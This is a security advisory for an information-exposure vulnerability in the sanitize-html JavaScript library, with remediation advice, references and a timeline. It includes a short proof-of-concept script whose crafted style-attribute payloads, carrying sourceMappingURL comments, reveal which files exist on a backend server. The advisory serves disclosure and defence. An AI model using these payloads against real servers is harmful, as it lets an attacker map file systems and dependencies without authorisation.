SNYK-JS-SANITIZEHTML-6256334
## Overview [sanitize-html](https://github.com/punkave/sanitize-html) is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the `style` attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server. ## PoC ```js // index.js const sanitizeHtml = require('sanitize-html'); const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`; const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`; const file_exist_clean = sanitizeHtml(file_exist, { allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] }, }) const file_notexist_clean = sanitizeHtml(file_notexist, { allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] }, }) console.log(file_exist_clean, "// valid file path on backend") console.log(file_notexist_clean, "// invalid file path on backend") ``` ## Remediation Upgrade `sanitize-html` to version 2.12.1 or higher. ## References - [Github Commit](https://github.com/apostrophecms/sanitize-html/commit/c5dbdf77fe8b836d3bf4554ea39edb45281ec0b4) - [Github Discussion](https://github.com/apostrophecms/apostrophe/discussions/4436) - [GitHub Gist](https://gist.github.com/Slonser/8b4d061abe6ee1b2e10c7242987674cf) - [Github PR](https://github.com/apostrophecms/sanitize-html/pull/650)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Exploit Intelligence
- summary.html (github-poc)
Timeline
- Feb 20, 2024 CVE Updated
- Feb 23, 2024 CVE Published
References
- https://security.snyk.io/vuln/SNYK-JS-SANITIZEHTML-6256334 advisory
- https://learn.snyk.io/lesson/sensitive-information-disclosure-llm/ technical
- https://github.com/punkave/sanitize-html technical
- https://github.com/apostrophecms/sanitize-html/commit/c5dbdf77fe8b836d3bf4554ea39edb45281ec0b4 patch
- https://github.com/apostrophecms/apostrophe/discussions/4436 technical
- https://gist.github.com/Slonser/8b4d061abe6ee1b2e10c7242987674cf technical
- https://github.com/apostrophecms/sanitize-html/pull/650 patch